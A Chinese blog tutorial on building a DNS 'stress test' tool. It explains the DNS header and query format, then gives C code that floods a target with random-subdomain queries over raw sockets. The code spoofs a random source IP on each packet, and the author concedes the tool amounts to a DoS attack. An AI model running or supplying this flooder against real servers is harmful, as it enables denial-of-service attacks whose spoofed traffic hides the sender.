如何写一个DNS压力测试工具--Arvin's Blog

DNS是DomainNameSystem（域名系统）的缩写，简单来说就是负责域名与IP地址之间的转换，平时我们用到的大部分是域名转IP，当然也支持IP转域名的反向解析。在方方面面都会有DNS的身影，在负载均衡方面也可以借助DNS来实现，还有就是黑产们喜欢坚持广大用户的DNS来获取利益，可以说DNS是互联网最重要的协议之一。

0×01 起因

互联网上的DNS服务器非常非常的多，有公共的DNS 也有公司自己内部使用的DNS也有用于负载均衡的，我们公司呢也要建一个 DNS服务器，搭建DNS我是不擅长，但是搭建完之后需要做一下压力测试这我就比较喜欢了，毕竟这个压力测试说好听叫压力测试，说不好点那就是DOS攻击，接下来我就说说我进行压力测试的过程吧。

0×02 DNS协议基础

想要进行压力测试，至少要能模拟出正常用户的DNS请求才行，所以构造DNS请求报文我们需要先了解DNS协议的报文格式。

DNS是应用层的协议，使用TCP和UDP的53端口，不过一般情况下是使用UDP53端口的，所以呢今天我们构造的DNS也是基于UDP的。

DNS协议的报文首部是定长的12字节，分别是标识（16bit）、标志（16bit）、问题记录数（16bit）、回答记录数（16bit）、授权记录数（16bit）、附加信息记录数（16bit）。

标识字段是用来匹配请求和响应的，有点类似ip协议的ID字段，应答报文的标识字段应该和请求报文的相同。

标志是由多个字段组成的

QR字段长度是1bit，用来表示这个DNS报文是请求还是响应，因为DNS的请求和响应的报文首部格式相同，0表示请求，1表示响应。

OPcode字段呢长度是4bit，表示操作类型，0表示正向解析，1表示反向解析，2表示服务器状态请求。

AA字段长度为1bit，是授权回答标志位，0表示回答是非权威的，1则表示回答的服务器是授权服务器。

TC字段长度也是1bit，是截断标志位，1表示报文长度超过了512字节，并且被截断成了512字节，不过我在抓包的时候抓到很多超过512字节的

也并没有被截断。

RD字段长度为1bit，表示希望递归的标志，1表示请求服务器进行递归解析，0表示希望反复查询，但这个怎么查询还是服务器说了算。

RA字段只在服务器响应中有效，1表示服务器支持递归，0表示不支持递归。

RA后面的是保留字段，长度为3bit，必须置0。

rCode字段是用来表示错误状态的，长度为4bit，0表示没有错误，1表示格式错误，2表示服务器故障，3表示查询域名不存在，4表示不知道的解析类型，5表示管理上禁止。

问题记录数的16bit表示问题部分所包含的域名解析查询的个数，理论上最大是65535.

回答记录数也是16bit，相应的也是表示响应报文中回答记录的个数。

授权记录数也是16bit，表示授权部分所包含的授权记录的个数，请求报文中置0。

附加信息记录数长度是16bit，表示附加信息部分所包含的附加信息记录的个数。

以上的这12字节就是DNS包文的首部，我们做压力测试的话，只需要构造请求报文，所以一般情况下回答记录数、授权记录数、附加信息记录数都会置0.

接下来就是DNS的变长部分了，分别是问题部分、回答部分、授权部分、附加信息部分，我们要做只需要问题部分就可以了。

这其中查询名就是我们要查询的域名，他是变长的。查询类型和查询类是定长的，都是16bit，这两个要写在整个报文的结尾。

查询类比较简单，1表示ip协议，符号为IN。其他协议的表示是什么其实我也不知道…

查询类型字段选择就比较多了，常用的如下图：

查询名就是我们常说的域名，比如www.arvinHk.com,但是在报文中不能直接这么写，而是要改成 3www7arvinhk3com0 这种形式，字段之间不再以.分割，而是以字符串前的数字表示这个字符串的长度，最后以0结束。

0×03 构造报文

编程语言：C

运行环境：kali/ubuntu linux

编译器：gcc version 6.1.1

在linux中已经构造好了ip和udp的结构体分别在ip.h和udp.h两个头文件中，linux中应该也定义好了DNS协议的结构，不过我没找到…所以咱就自己构造一个也是一样的。

详细的解释在代码的备注中看吧。

#include <stdlib.h>#include <stdio.h>#include <sys/socket.h>#include <sys/types.h>#include <netinet/ip.h>#include <linux/udp.h>/*定义一个DNS首部的结构体*/struct dnshdr {
    __be16 id;
    __be16 flags;
    __be16 questions;
    __be16 answer;
    __be16 auth;
    __be16 add;
};int main(int argc, char *argv[]){if( argc == 1 )
   {printf("这是一个DNS压力测试工具，命令格式./DNStest ip port delay \n");exit(0);
   }else if( argc > 4 )
   {printf("参数输入太多啦，请不带参数查看输入格式！\n");exit(0);
   }else if( argc < 4 )
   {printf("参数输入太少啦，请不带参数查看输入格式！\n");exit(0);
   }struct sockaddr_in dstaddress;
dstaddress.sin_family=AF_INET;
dstaddress.sin_port=htons(atoi(argv[2]));
dstaddress.sin_addr.s_addr = inet_addr(argv[1]);const int on=1;int sk=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
setsockopt(sk,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

srand(clock());char buf[256]={0};char dnsdata[128]={0};struct iphdr *iphead;struct udphdr *udp;struct dnshdr *dns;/*下面是规定ip、udp、dns在buf中的开始位置*/iphead=(struct iphdr*)buf;
udp=(struct udphdr*)(buf+sizeof(*iphead));
dns=(struct udphdr*)(buf+sizeof(*iphead)+sizeof(*udp));/*下面是构造ip首部*/iphead->version= 4;
iphead->ihl=sizeof(*iphead)/4;
iphead->tos=0;

iphead->id=0;
iphead->frag_off=0;
iphead->protocol=17;
iphead->check=0;
inet_aton(argv[1],&iphead->daddr);/*下面是构造udp首部，udp首部比较短，长度和源端口每次都可能变化所以放到后面的循环中了，upd校验和可以不计算直接置0*/udp->dest=htons(atoi(argv[2]));
udp->check=0;/*这是dns首部，问题记录数为1,当然也可以加多个问题，flags是那一大堆的标志位，不一个一个定义了，直接一起定义了*/dns->flags=htons(0x0100);
dns->questions=htons(1);
dns->answer=0;
dns->auth=0;
dns->add=0;while (1)
{
dns->id=htons(rand()%65535);/*dns的Id随机生成，每次都不一样*/int namelen=rand()%6+2;/*这里是随机生成查询域名的长度我这写的是2-8个字符，当然可以随便改*/char p;
p=(char)namelen;memcpy(buf+40,&p,1);int i=0;char *pi=buf+41;for(i=0;i<namelen;i++)
{int a=rand()%26+97;/*这里是ascii码a-z随机生成*/char ca=(char) a;memcpy(pi,&ca,1);
pi++;
}char *domain[]={"com","edu","cn"};/*这是预先定义的顶级域，这里只写了三个，也可以继续添加，但是要后面dii的随机数范围*/int dii=rand()%3;int domlen=strlen(domain[dii]);char cdomlen=(char)domlen;memcpy(buf+41+namelen,&cdomlen,1);memcpy(buf+42+namelen,domain[dii],domlen);int zero=0;char czero=(char)zero;memcpy(buf+42+namelen+domlen,&czero,1);/*这是查询名最后的那个0*/int type_class=htonl(0x00010001);/*这里是查询类型和查询类都是1,为了方便直接写在一起了*/memcpy(buf+43+namelen+domlen,&type_class,4);


udp->len=htons(27+namelen+domlen);
udp->source=htons(rand()%65535+1);int ip_len=47+namelen+domlen;
iphead->tot_len=htons(ip_len);
iphead->saddr=htonl((rand()%3758096383));/*源ip随机，0-223.255.255.255,其实其中的192.168和172.16、10也都应该剔除，不过好麻烦我没弄*/iphead->ttl=random()%98+30;

sendto(sk,buf,ip_len,0,&dstaddress,sizeof(struct sockaddr_in));/*这是发送我们构造的dns报文了，并不断循环*/usleep(atoi(argv[3]));/*这里是一个延时.用于方便调节发包速度，单位是百万分之一秒，不需要调节的话就把它注释掉，需要的话在第三个参数设定延时，不能是小数*/}
}